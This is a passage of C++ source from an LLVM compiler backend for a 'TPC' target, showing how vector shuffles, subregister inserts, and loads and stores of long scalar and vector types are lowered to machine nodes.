have no more than 4 subregisters (in the case of int256).\n // It determineds size of 'SubRegisterSource' (see below).\n assert(NumSubregs <= 4);\n\n // For each subregister in the result this array keeps the subregister number\n // in the source operand where it comes from. Subregister numbers of the\n // second operand are shifted by NumSubregs.\n SmallVector<unsigned, 8> SubRegisterSource(8, ~0U);\n\n for (unsigned R = 0; R < Mask.size(); R += 64) {\n const ArrayRef<int> SubMask = Mask.slice(R, 64);\n if (!isSequentialMask(SubMask)) {\n if (isUndefinedMask(SubMask))\n continue;\n return false;\n }\n if (SubMask.front() % 64)\n return false;\n SubRegisterSource[R / 64] = SubMask.front() / 64;\n }\n\n // Subregister numbers must form continuous sequence starting from 0 provided\n // that subregister numbers of the second argument are corrected.\n unsigned FromFirst = 0, // Number of subregisters from the first argument\n FromSecond = 0; // Number of subregisters from the second argument\n for (unsigned I = 0; I < NumSubregs; ++I) {\n unsigned SubregNo = SubRegisterSource[I];\n // All subregisters in the result must be defined.\n if (SubregNo == ~0U)\n continue;\n if (SubregNo < NumSubregs) {\n ++FromFirst;\n if (SubregNo != I)\n return false;\n } else {\n ++FromSecond;\n if (SubregNo - NumSubregs != I)\n return false;\n }\n }\n\n // Both arguments must be used.\n if (FromFirst == 0 || FromSecond == 0)\n return false;\n\n if (FromFirst <= FromSecond) {\n // Subregister is extracted from the first argument and is inserted to the\n // second.\n ArgNo = 0;\n for (unsigned I = 0; I < NumSubregs; ++I)\n if (SubRegisterSource[I] < NumSubregs) {\n RegNo = I;\n break;\n }\n } else {\n // Subregister is extracted from the second argument and is inserted to the\n // first.\n ArgNo = 1;\n for (unsigned I = 0; I < NumSubregs; ++I)\n if (SubRegisterSource[I] >= NumSubregs) {\n RegNo = I;\n break;\n }\n }\n return true;\n}\n\n// Returns true if the argument is BUILD_VECTOR, in which all operands but the\n// first are undefs.\nstatic bool isBuildVectorWithUndefs(SDValue V) {\n if (V.getOpcode() != ISD::BUILD_VECTOR)\n return false;\n for (unsigned I = 1, E = V.getNumOperands(); I != E; ++I)\n if (V.getOperand(I).getOpcode() != ISD::UNDEF)\n return false;\n return true;\n}\n\n// Returns true if the argument is BUILD_VECTOR, in which all operands are\n// identical.\nstatic bool isSplat(SDValue V) {\n if (V.getOpcode() != ISD::BUILD_VECTOR)\n return false;\n SDValue First = V.getOperand(0);\n for (unsigned I = 1, E = V.getNumOperands(); I != E; ++I)\n if (V.getOperand(I) != First)\n return false;\n return true;\n}\n\nstatic SDValue getSubRegisterValue(SDValue SubRegSource, EVT ResTy,\n unsigned Start, SDLoc DL,\n SelectionDAG &DAG) {\n if (ResTy.getSizeInBits() != 64 * 32)\n return SDValue();\n\n EVT EltT = ResTy.getVectorElementType();\n unsigned EltSize = EltT.getStoreSizeInBits();\n assert(EltSize >= 8);\n unsigned Factor = 32 / EltSize;\n unsigned SubRegSize = 64 * Factor;\n assert(Start % SubRegSize == 0);\n\n unsigned SubRegNo = Start / SubRegSize;\n\n if (SubRegSource.getNode()->getOpcode() == ISD::CONCAT_VECTORS)\n return SubRegSource.getOperand(SubRegNo);\n\n if (auto BVN = dyn_cast<BuildVectorSDNode>(SubRegSource)) {\n SmallVector<SDValue, 256> Args;\n for (unsigned I = SubRegNo * 64, E = 64 * (SubRegNo + 1); I != E; ++I)\n Args.push_back(BVN->getOperand(I));\n return DAG.getNode(ISD::BUILD_VECTOR, DL, ResTy, Args);\n }\n\n if (auto *SVN = dyn_cast<ShuffleVectorSDNode>(SubRegSource)) {\n ArrayRef<int> ShuffleMask = SVN->getMask();\n if ((ShuffleMask[Start] % 64 == 0) &&\n isSequentialMask(ShuffleMask.slice(Start, 64))) {\n unsigned NewStart = ShuffleMask[Start];\n unsigned ArgNo = NewStart >= SVN->getValueType(0).getVectorNumElements();\n if (ArgNo)\n NewStart -= SVN->getValueType(0).getVectorNumElements();\n return getSubRegisterValue(SVN->getOperand(ArgNo), ResTy, NewStart, DL,\n DAG);\n }\n }\n\n if (SubRegSource.getOpcode() == ISD::CopyFromReg) {\n SDValue SubVectorStart = DAG.getConstant(APInt(32, Start), DL, MVT::i32);\n return DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, ResTy, SubRegSource,\n SubVectorStart);\n }\n\n return SDValue();\n}\n\n//\n// If the shuffle mask is taking exactly one element from the first vector\n// operand and passing through all other elements from the second vector\n// operand, return the index of the mask element that is choosing an element\n// from the first operand. Otherwise, return -1.\n//\nstatic int getShuffleMaskIndexOfOneElementFromOp0IntoOp1(ArrayRef<int> Mask) {\n int MaskSize = Mask.size();\n int EltFromOp0 = -1;\n for (int i = 0; i != MaskSize; ++i) {\n if (Mask[i] >= 0 && Mask[i] < MaskSize) {\n // We're looking for a shuffle of exactly one element from operand 0.\n if (EltFromOp0 != -1)\n return -1;\n EltFromOp0 = i;\n } else if (Mask[i] != i + MaskSize) {\n // Nothing from operand 1 can change lanes.\n return -1;\n }\n }\n return EltFromOp0;\n}\n\n//\n// If a shuffle inserts exactly one element from a source vector operand into\n// another vector operand, then we can eliminate the shuffle by replacing it\n// with extract/insert pair.\n//\nstatic SDValue replaceShuffleWithInsert(ShuffleVectorSDNode *Shuf,\n SelectionDAG &DAG) {\n // First, check if we are taking one element of a vector and shuffling that\n // element into another vector.\n ArrayRef<int> Mask = Shuf->getMask();\n SmallVector<int, 16> CommutedMask(Mask.begin(), Mask.end());\n SDValue Op0 = Shuf->getOperand(0);\n SDValue Op1 = Shuf->getOperand(1);\n int ShufOp0Index = getShuffleMaskIndexOfOneElementFromOp0IntoOp1(Mask);\n if (ShufOp0Index == -1) {\n // Commute mask and check again.\n ShuffleVectorSDNode::commuteMask(CommutedMask);\n ShufOp0Index = getShuffleMaskIndexOfOneElementFromOp0IntoOp1(CommutedMask);\n if (ShufOp0Index == -1)\n return SDValue();\n // Commute operands to match the commuted shuffle mask.\n std::swap(Op0, Op1);\n Mask = CommutedMask;\n }\n\n EVT VT = Op0.getValueType();\n EVT EltT = VT.getVectorElementType();\n\n SDValue ExtrElt =\n DAG.getNode(ISD::EXTRACT_VECTOR_ELT, SDLoc(Shuf), EltT, Op0,\n DAG.getConstant(Mask[ShufOp0Index], SDLoc(Shuf), MVT::i32));\n\n SDValue Result =\n DAG.getNode(ISD::INSERT_VECTOR_ELT, SDLoc(Shuf), VT, Op1, ExtrElt,\n DAG.getConstant(ShufOp0Index, SDLoc(Shuf), MVT::i32));\n\n LLVM_DEBUG(dbgs() << \"Replace:\\n\"; dbgs() << \" \"; Shuf->dump(&DAG);\n dbgs() << \"With:\\n\"; dbgs() << \" \"; ExtrElt.dump(&DAG);\n dbgs() << \" \"; Result.dump(&DAG););\n\n return Result;\n}\n\nstatic bool is_lin(const int *ar, int n) {\n for (int i = 1; i < n; i++) {\n if ((ar[i] - ar[i - 1]) != 1) {\n return false;\n }\n }\n return true;\n}\n\nstatic bool is_lin64(const int *ar) { return is_lin(ar, 64); }\n\nstatic bool is_lin128(const int *ar) { return is_lin(ar, 128); }\n\nstatic bool is_lin256(const int *ar) { return is_lin(ar, 256); }\n\nstatic SDValue helperConvertIntNodeCreate(const SDValue &SDNodeArg, SDLoc &DL,\n SelectionDAG &DAG,\n unsigned switchType, EVT ResultVT,\n unsigned ConvertType,\n SDValue *SDNodeArg2 = nullptr) {\n SmallVector<SDValue, 8> Ops(6);\n Ops[0] = SDNodeArg; // Source.\n Ops[1] = DAG.getTargetConstant(0, DL, MVT::i8);\n Ops[2] = DAG.getTargetConstant(switchType, DL, MVT::i32); // Switch.\n Ops[3] =\n (SDNodeArg2 == nullptr) ? DAG.getUNDEF(ResultVT) : *SDNodeArg2; // Income.\n Ops[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node = DAG.getMachineNode(ConvertType, DL, ResultVT, Ops);\n return SDValue(Node, 0);\n}\n\nSDValue helperConvertvvpNodeCreate(const SDValue &SDNodeArg, SDLoc &DL,\n SelectionDAG &DAG, unsigned opType,\n unsigned switchType, EVT ResultVT) {\n SmallVector<SDValue, 8> Ops(6);\n Ops[0] = SDNodeArg; // Source.\n Ops[1] = DAG.getTargetConstant(opType, DL, MVT::i8); // DataType.\n Ops[2] = DAG.getTargetConstant(switchType, DL, MVT::i32); // Switch.\n Ops[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node = DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultVT, Ops);\n return SDValue(Node, 0);\n}\n\nSDValue helperANDvipNodeCreate(const SDValue &SDNodeArg, SDLoc &DL,\n SelectionDAG &DAG, unsigned opType,\n unsigned mask, EVT ResultVT) {\n SmallVector<SDValue, 8> Ops(7);\n Ops[0] = SDNodeArg; // Source.\n Ops[1] = DAG.getTargetConstant(mask, DL, MVT::i32); // Switch.\n Ops[2] = DAG.getTargetConstant(opType, DL, MVT::i8); // DataType.\n Ops[3] = DAG.getTargetConstant(0, DL, MVT::i32); // Switch.\n Ops[4] = DAG.getUNDEF(ResultVT); // Income.\n Ops[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node = DAG.getMachineNode(TPC::ANDvip, DL, ResultVT, Ops);\n return SDValue(Node, 0);\n}\n\nSDValue helperExtractSubRegSDValue(unsigned subReg, SDLoc &DL,\n SelectionDAG &DAG, EVT elemType,\n SDValue reg) {\n SDValue NIndex = DAG.getTargetConstant(subReg, DL, MVT::i32);\n SDNode *N = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, elemType,\n reg, NIndex);\n return SDValue(N, 0);\n}\n\n// Returns true if the specified node is a binary operation, which can be\n// handles by pseudo-scalar folding of shuffle_vector.\nstatic bool isBinaryVectorOperation(SDValue V) {\n switch (V.getOpcode()) {\n case ISD::ADD:\n case ISD::SUB:\n case ISD::FADD:\n case ISD::FSUB:\n case ISD::FMUL:\n case ISD::FDIV:\n case ISD::FREM:\n return true;\n default:\n return false;\n }\n}\n\n// Returns true if the specified node roots an expression where all operands\n// recursively descent to either splat vectors of build_vector nodes where all\n// operands but the first are undefs.\nstatic bool isPseudoScalar(SDValue V) {\n if (isBuildVectorWithUndefs(V) || isSplat(V))\n return true;\n if (isBinaryVectorOperation(V)) {\n SDValue Op1 = V.getOperand(0);\n SDValue Op2 = V.getOperand(1);\n return isPseudoScalar(Op1) && isPseudoScalar(Op2);\n }\n return false;\n}\n\n// Service class that implements recursive transformation of pseudo-scalar\n// expression to the equivalent form supported by the instruction selector.\nclass Expander {\n SelectionDAG &DAG;\npublic:\n Expander(SelectionDAG &DAG) : DAG(DAG) {}\n\n SDValue expand(SDValue V) {\n SDLoc DL(V);\n EVT VT = V.getValueType();\n unsigned VectWidth = VT.getVectorNumElements();\n\n if (V.getOpcode() == ISD::BUILD_VECTOR) {\n if (isSplat(V))\n return V;\n if (!isBuildVectorWithUndefs(V))\n return SDValue();\n SmallVector<SDValue, 64> Args;\n Args.append(VectWidth, V.getOperand(0));\n return DAG.getNode(ISD::BUILD_VECTOR, DL, VT, Args);\n }\n\n if (isBinaryVectorOperation(V)) {\n SDValue Op1 = V.getOperand(0);\n SDValue Op2 = V.getOperand(1);\n SDValue NewOp1 = expand(Op1);\n if (!NewOp1)\n return SDValue();\n SDValue NewOp2 = expand(Op2);\n if (!NewOp2)\n return SDValue();\n return DAG.getNode(V.getOpcode(), DL, VT, NewOp1, NewOp2);\n }\n\n return SDValue();\n }\n};\n\nSDValue TPCTargetLowering::lowerVECTOR_SHUFFLE(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n EVT VT = Op.getValueType();\n EVT EltT = VT.getVectorElementType();\n unsigned EltSize = EltT.getStoreSizeInBits();\n unsigned VectWidth = VT.getVectorNumElements();\n\n ShuffleVectorSDNode *SVN = cast<ShuffleVectorSDNode>(Op.getNode());\n ArrayRef<int> ShuffleMask = SVN->getMask();\n\n SDValue V1 = Op.getOperand(0);\n SDValue V2 = Op.getOperand(1);\n EVT OpType = V1.getValueType();\n unsigned OpVectSize = OpType.getVectorNumElements();\n // Recognize trivial operations.\n if (isSequentialMask(ShuffleMask)) {\n if (static_cast<unsigned>(ShuffleMask.back()) <= OpVectSize) {\n // Select subvector of the first operand.\n if (ShuffleMask.size() == OpVectSize)\n // Entire vector is selected.\n return V1;\n }\n }\n\n // For IRF vectors, try to eliminate the shuffle by replacing it with an\n // extract/insert pair\n if (OpVectSize == 5) { // v5i32 - IRF\n if (SDValue InsElt = replaceShuffleWithInsert(SVN, DAG)) {\n return InsElt;\n }\n return SDValue();\n }\n\n // Recognize set_subreg operation.\n unsigned ArgNo;\n unsigned RegNo;\n if (ShuffleMask.size() < 256 &&\n isSetSubregisterMask(ShuffleMask, ArgNo, RegNo)) {\n SDValue SubRegSource = (ArgNo == 0) ? V1 : V2;\n SDValue OtherRegs = (ArgNo == 0) ? V2 : V1;\n unsigned Factor = 32 / EltSize;\n unsigned SubRegSize = 64 * Factor;\n EVT SubRegType = EVT::getVectorVT(*DAG.getContext(), EltT, SubRegSize);\n SDValue SubRegValue = getSubRegisterValue(SubRegSource, SubRegType,\n 64 * Factor * RegNo, DL, DAG);\n if (SubRegValue) {\n SDValue SubVectorStart =\n DAG.getConstant(APInt(32, RegNo * 64), DL, MVT::i32);\n return DAG.getNode(ISD::INSERT_SUBVECTOR, DL, VT, OtherRegs, SubRegValue,\n SubVectorStart);\n }\n }\n\n // Recognize subvector concatenation.\n //\n // If concatenation is made of subregisters of long vectors, such as v128i32,\n // the result can be represented as a vector shuffle.\n //\n if (ShuffleMask.size() == 128 && EltSize == 32 && OpVectSize == 128) {\n if (isSequentialMask(ShuffleMask.take_front(64)) &&\n isSequentialMask(ShuffleMask.take_back(64))) {\n EVT SubregType = EVT::getVectorVT(*DAG.getContext(), EltT, 64);\n unsigned SubregNdx1 = ShuffleMask[0];\n unsigned SubregNdx2 = ShuffleMask[64];\n bool FirsfFromFirst = SubregNdx1 < 128;\n bool SecondFromSecond = SubregNdx2 >= 128;\n\n if (FirsfFromFirst == SecondFromSecond) {\n if (FirsfFromFirst) {\n assert(SubregNdx1 == 0 || SubregNdx1 == 64);\n assert(SubregNdx2 == 128 || SubregNdx2 == 192);\n } else {\n assert(SubregNdx1 == 128 || SubregNdx1 == 192);\n assert(SubregNdx2 == 0 || SubregNdx2 == 64);\n }\n SDValue LongReg1 = FirsfFromFirst ? V1 : V2;\n SDValue LongReg2 = SecondFromSecond ? V2 : V1;\n if (FirsfFromFirst)\n SubregNdx2 -= 128;\n else\n SubregNdx1 -= 128;\n SDValue Subreg1Start = DAG.getConstant(SubregNdx1, DL, MVT::i32);\n SDValue Subreg2Start = DAG.getConstant(SubregNdx2, DL, MVT::i32);\n SDValue Op1 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType,\n LongReg1, Subreg1Start);\n SDValue Op2 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType,\n LongReg2, Subreg2Start);\n SmallVector<SDValue, 2> SubVects;\n SubVects.push_back(Op1);\n SubVects.push_back(Op2);\n return createTuple(SubVects, DAG);\n }\n }\n }\n\n // Recognize vector operations when all arguments are splats. InstCombiner\n // generates such constructs:\n //\n // vector_shuffle<0,0, ...>\n // +- vector_operation\n // | +- BUILD_VECTOR a, undef, ...\n // | +- BUILD_VECTOR b, undef, ...\n // +- undef\n //\n // We must generate DAG like this:\n //\n // vector_operation\n // +- BUILD_VECTOR a, a, ...\n // +- BUILD_VECTOR b, b, ...\n //\n // Note that there can be several binary operations, like:\n //\n // vector_shuffle<0,0, ...>\n // +- fsub\n // | + fadd\n // | | +- BUILD_VECTOR a, undef, ...\n // | | +- BUILD_VECTOR b, undef, ...\n // | +- BUILD_VECTOR c, undef, ...\n // +- undef\n\n if (isZeroMask(ShuffleMask) && ShuffleMask.size() == VectWidth &&\n V2.getOpcode() == ISD::UNDEF && isPseudoScalar(V1))\n return Expander(DAG).expand(V1);\n\n if (ShuffleMask.size() == 512 && EltSize == 8 && OpVectSize == 512) {\n int SubregNdx1 = ShuffleMask[0];\n int SubregNdx2 = ShuffleMask[256];\n if ((is_lin256(&ShuffleMask[0]) || SubregNdx1 < 0) &&\n (is_lin256(&ShuffleMask[256]) || SubregNdx2 < 0)) {\n int v1, v2;\n SDValue o1, o2;\n SDValue Op1, Op2;\n\n EVT SubregType = EVT::getVectorVT(*DAG.getContext(), EltT, 256);\n if (SubregNdx1 >= 0) {\n v1 = SubregNdx1 / 256;\n if (v1 < 2) {\n o1 = V1;\n } else {\n o1 = V2;\n v1 -= 4;\n SubregNdx1 -= 512;\n }\n SDValue Subreg1Start = DAG.getConstant(SubregNdx1, DL, MVT::i32);\n Op1 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o1,\n Subreg1Start);\n } else {\n Op1 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n if (SubregNdx2 >= 0) {\n v2 = SubregNdx2 / 256;\n if (v2 < 2) {\n o2 = V1;\n } else {\n o2 = V2;\n v2 -= 4;\n SubregNdx2 -= 512;\n }\n SDValue Subreg2Start = DAG.getConstant(SubregNdx2, DL, MVT::i32);\n Op2 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o2,\n Subreg2Start);\n } else {\n Op2 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n SmallVector<SDValue, 2> SubVects;\n SubVects.push_back(Op1);\n SubVects.push_back(Op2);\n return createTuple(SubVects, DAG);\n }\n }\n if (ShuffleMask.size() == 256 && EltSize == 32 && OpVectSize == 256) {\n\n int SubregNdx1 = ShuffleMask[0];\n int SubregNdx2 = ShuffleMask[64];\n int SubregNdx3 = ShuffleMask[128];\n int SubregNdx4 = ShuffleMask[192];\n\n if ((is_lin64(&ShuffleMask[0]) || SubregNdx1 < 0) &&\n (is_lin64(&ShuffleMask[64]) || SubregNdx2 < 0) &&\n (is_lin64(&ShuffleMask[128]) || SubregNdx3 < 0) &&\n (is_lin64(&ShuffleMask[192]) || SubregNdx4 < 0)) {\n\n int v1, v2, v3, v4;\n SDValue o1, o2, o3, o4;\n SDValue Op1, Op2, Op3, Op4;\n\n EVT SubregType = EVT::getVectorVT(*DAG.getContext(), EltT, 64);\n if (SubregNdx1 >= 0) {\n v1 = SubregNdx1 / 64;\n if (v1 < 4) {\n o1 = V1;\n } else {\n o1 = V2;\n v1 -= 4;\n SubregNdx1 -= 256;\n }\n SDValue Subreg1Start = DAG.getConstant(SubregNdx1, DL, MVT::i32);\n Op1 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o1,\n Subreg1Start);\n } else {\n Op1 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n if (SubregNdx2 >= 0) {\n v2 = SubregNdx2 / 64;\n if (v2 < 4) {\n o2 = V1;\n } else {\n o2 = V2;\n v2 -= 4;\n SubregNdx2 -= 256;\n }\n SDValue Subreg2Start = DAG.getConstant(SubregNdx2, DL, MVT::i32);\n Op2 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o2,\n Subreg2Start);\n } else {\n Op2 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n if (SubregNdx3 >= 0) {\n v3 = SubregNdx3 / 64;\n if (v3 < 4) {\n o3 = V1;\n } else {\n o3 = V2;\n v3 -= 4;\n SubregNdx3 -= 256;\n }\n SDValue Subreg3Start = DAG.getConstant(SubregNdx3, DL, MVT::i32);\n Op3 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o3,\n Subreg3Start);\n } else {\n Op3 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n if (SubregNdx4 >= 0) {\n v4 = SubregNdx4 / 64;\n if (v4 < 4) {\n o4 = V1;\n } else {\n o4 = V2;\n v4 -= 4;\n SubregNdx4 -= 256;\n }\n SDValue Subreg4Start = DAG.getConstant(SubregNdx4, DL, MVT::i32);\n Op4 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o4,\n Subreg4Start);\n } else {\n Op4 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n SmallVector<SDValue, 4> SubVects;\n SubVects.push_back(Op1);\n SubVects.push_back(Op2);\n SubVects.push_back(Op3);\n SubVects.push_back(Op4);\n return createTuple(SubVects, DAG);\n }\n }\n if (ShuffleMask.size() == 256 && EltSize == 16 && OpVectSize == 256) {\n int SubregNdx1 = ShuffleMask[0];\n int SubregNdx2 = ShuffleMask[128];\n if ((is_lin128(&ShuffleMask[0]) || SubregNdx1 < 0) &&\n (is_lin128(&ShuffleMask[128]) || SubregNdx2 < 0)) {\n int v1, v2;\n SDValue o1, o2;\n SDValue Op1, Op2;\n\n EVT SubregType = EVT::getVectorVT(*DAG.getContext(), EltT, 128);\n if (SubregNdx1 >= 0) {\n v1 = SubregNdx1 / 128;\n if (v1 < 2) {\n o1 = V1;\n } else {\n o1 = V2;\n v1 -= 4;\n SubregNdx1 -= 256;\n }\n SDValue Subreg1Start = DAG.getConstant(SubregNdx1, DL, MVT::i32);\n Op1 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o1,\n Subreg1Start);\n } else {\n Op1 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n if (SubregNdx2 >= 0) {\n v2 = SubregNdx2 / 128;\n if (v2 < 2) {\n o2 = V1;\n } else {\n o2 = V2;\n v2 -= 4;\n SubregNdx2 -= 256;\n }\n SDValue Subreg2Start = DAG.getConstant(SubregNdx2, DL, MVT::i32);\n Op2 = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, SubregType, o2,\n Subreg2Start);\n } else {\n Op2 = DAG.getNode(ISD::UNDEF, DL, SubregType);\n }\n SmallVector<SDValue, 2> SubVects;\n SubVects.push_back(Op1);\n SubVects.push_back(Op2);\n return createTuple(SubVects, DAG);\n }\n }\n llvm_unreachable((Op.dump(), \"Unhandled shufflevector\"));\n}\n\nstatic SDValue lowerLoadOfLongScalar(LoadSDNode *LoadNode,\n const TPCTargetLowering &TL,\n SelectionDAG &DAG) {\n EVT MemTy = LoadNode->getMemoryVT();\n EVT EltTy = MemTy.getVectorElementType();\n unsigned EltSz = EltTy.getScalarSizeInBits();\n (void)EltSz;\n\n assert(MemTy.getVectorNumElements() == 2);\n assert(EltTy.isScalarInteger());\n assert(EltSz == 8 || EltSz == 16 || EltSz == 32);\n\n SDValue Chain = LoadNode->getChain();\n SDValue Ptr = LoadNode->getBasePtr();\n SDLoc DL(LoadNode);\n\n MachinePointerInfo PtrInfo = LoadNode->getPointerInfo();\n unsigned Alignment = LoadNode->getAlignment();\n MachineMemOperand *MemOp = LoadNode->getMemOperand();\n AAMDNodes AAInfo = LoadNode->getAAInfo();\n\n // Load first register.\n SDValue V0 = DAG.getLoad(EltTy, DL, Chain, Ptr, PtrInfo.getWithOffset(0),\n Alignment, MemOp->getFlags(), AAInfo);\n\n // Get pointer to the next register location in memory.\n SDValue NewPtr = DAG.getNode(\n ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(SRF_REGISTER_LENGTH_IN_BYTES, DL, Ptr.getValueType()));\n\n // Store second register.\n SDValue V1 = DAG.getLoad(EltTy, DL, Chain, NewPtr,\n PtrInfo.getWithOffset(SRF_REGISTER_LENGTH_IN_BYTES),\n Alignment, MemOp->getFlags(), AAInfo);\n\n // Make wide register.\n SDValue WideValue = TL.createTuple({V0, V1}, DAG);\n SDValue Ops[2] = {WideValue, Chain};\n return DAG.getMergeValues(Ops, DL);\n}\n\nstatic SDValue lowerLoadOInt5(LoadSDNode *LoadNode, const TPCTargetLowering &TL,\n SelectionDAG &DAG) {\n EVT MemTy = LoadNode->getMemoryVT();\n EVT EltTy = MemTy.getVectorElementType();\n unsigned EltSz = EltTy.getScalarSizeInBits();\n (void)EltSz;\n\n assert(MemTy.getVectorNumElements() == 5);\n assert(EltTy.isScalarInteger());\n assert(EltSz == 32);\n\n SDValue Chain = LoadNode->getChain();\n SDValue Ptr = LoadNode->getBasePtr();\n SDLoc DL(LoadNode);\n\n MachinePointerInfo PtrInfo = LoadNode->getPointerInfo();\n unsigned Alignment = LoadNode->getAlignment();\n MachineMemOperand *MemOp = LoadNode->getMemOperand();\n AAMDNodes AAInfo = LoadNode->getAAInfo();\n\n SDValue Result = DAG.getUNDEF(MemTy);\n for (unsigned I = 0; I < 5; ++I) {\n if (I) {\n // Get pointer to the next register location in memory.\n Ptr = DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(SRF_REGISTER_LENGTH_IN_BYTES, DL,\n Ptr.getValueType()));\n }\n SDValue V0 =\n DAG.getLoad(EltTy, DL, Chain, Ptr,\n PtrInfo.getWithOffset(SRF_REGISTER_LENGTH_IN_BYTES * I),\n Alignment, MemOp->getFlags(), AAInfo);\n Result = DAG.getNode(ISD::INSERT_VECTOR_ELT, DL, MemTy, Result, V0,\n DAG.getConstant(I, DL, MVT::i32));\n }\n\n SDValue Ops[2] = {Result, Chain};\n return DAG.getMergeValues(Ops, DL);\n}\n\nSDValue TPCTargetLowering::lowerLOAD(SDValue Op, SelectionDAG &DAG) const {\n LoadSDNode *LoadNode = cast<LoadSDNode>(Op);\n EVT MemVT = LoadNode->getMemoryVT();\n\n if (!MemVT.isVector())\n return SDValue();\n\n unsigned NumElements = MemVT.getVectorNumElements();\n if (NumElements == 2)\n return lowerLoadOfLongScalar(LoadNode, *this, DAG);\n if (NumElements == 5)\n return lowerLoadOInt5(LoadNode, *this, DAG);\n\n SDValue Chain = LoadNode->getChain();\n SDValue Ptr = LoadNode->getBasePtr();\n SDLoc DL(Op);\n\n if (LoadNode->getExtensionType() != ISD::LoadExtType::NON_EXTLOAD)\n return SDValue();\n\n EVT VT = Op.getValueType();\n EVT EltTy = VT.getVectorElementType();\n\n unsigned EltSz = MemVT.getScalarSizeInBits();\n assert(EltSz > 0);\n unsigned SubVectorSize = 8 * 256 / EltSz;\n unsigned NumSubVectors = NumElements / SubVectorSize;\n EVT SubVectorTy = EVT::getVectorVT(*DAG.getContext(), EltTy, SubVectorSize);\n unsigned SubRegSize = SubVectorTy.getStoreSizeInBits() / 8;\n\n // We provide specific lowering only for vectors of 128, 256 or 512 elements.\n switch (NumElements) {\n case 128:\n case 256:\n case 512:\n break;\n default:\n return SDValue();\n }\n assert(NumSubVectors == 2 || NumSubVectors == 4);\n\n SmallVector<SDValue, 4> SubRegValues;\n if (auto *CP = dyn_cast<ConstantPoolSDNode>(Ptr)) {\n const Constant *C = CP->getConstVal();\n if (isa<ConstantAggregateZero>(C)) {\n SDValue ZeroSubVector = DAG.getConstant(APInt(32, 0), DL, SubVectorTy);\n SubRegValues.append(NumSubVectors, ZeroSubVector);\n } else {\n return SDValue();\n }\n } else {\n SDValue V0 = DAG.getLoad(\n SubVectorTy, DL, Chain, Ptr,\n LoadNode->getPointerInfo().getWithOffset(0), LoadNode->getAlignment(),\n LoadNode->getMemOperand()->getFlags(), LoadNode->getAAInfo());\n SubRegValues.push_back(V0);\n SDValue NewPtr =\n DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(SubRegSize, DL, Ptr.getValueType()));\n SDValue V1 = DAG.getLoad(\n SubVectorTy, DL, Chain, NewPtr,\n LoadNode->getPointerInfo().getWithOffset(SubRegSize),\n LoadNode->getAlignment(), LoadNode->getMemOperand()->getFlags(),\n LoadNode->getAAInfo());\n SubRegValues.push_back(V1);\n if (NumSubVectors > 2) {\n NewPtr =\n DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(2 * SubRegSize, DL, Ptr.getValueType()));\n SDValue V2 = DAG.getLoad(\n SubVectorTy, DL, Chain, NewPtr,\n LoadNode->getPointerInfo().getWithOffset(2 * SubRegSize),\n LoadNode->getAlignment(), LoadNode->getMemOperand()->getFlags(),\n LoadNode->getAAInfo());\n SubRegValues.push_back(V2);\n NewPtr =\n DAG.getNode(ISD::ADD, DL, Ptr.getValueType(), Ptr,\n DAG.getConstant(3 * SubRegSize, DL, Ptr.getValueType()));\n SDValue V3 = DAG.getLoad(\n SubVectorTy, DL, Chain, NewPtr,\n LoadNode->getPointerInfo().getWithOffset(3 * SubRegSize),\n LoadNode->getAlignment(), LoadNode->getMemOperand()->getFlags(),\n LoadNode->getAAInfo());\n SubRegValues.push_back(V3);\n }\n }\n\n SDValue WideValue = createTuple(SubRegValues, DAG);\n SDValue Ops[2] = {WideValue, Chain};\n return DAG.getMergeValues(Ops, DL);\n}\n\nstatic SDValue lowerStoreOfLongScalar(StoreSDNode *StoreNode,\n SelectionDAG &DAG) {\n EVT MemTy = StoreNode->getMemoryVT();\n EVT EltTy = MemTy.getVectorElementType();\n unsigned EltSz = EltTy.getScalarSizeInBits();\n (void)EltSz;\n\n assert(MemTy.getVectorNumElements() == 2);\n assert(EltTy.isScalarInteger());\n assert(EltSz == 8 || EltSz == 16 || EltSz == 32);\n\n SDValue Chain = StoreNode->getChain();\n SDValue Ptr = StoreNode->getBasePtr();\n SDValue Value = StoreNode->getValue();\n SDLoc DL(StoreNode);\n\n SmallVector<SDValue, 2> SubRegStores;\n MachinePointerInfo PtrInfo = StoreNode->getPointerInfo();\n unsigned Alignment = StoreNode->getAlignment();\n\n MachineSDNode *Node;\n\n // Store first register.\n SDValue SubReg = DAG.getTargetConstant(TPC::sub_s0, DL, MVT::i32);\n Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, 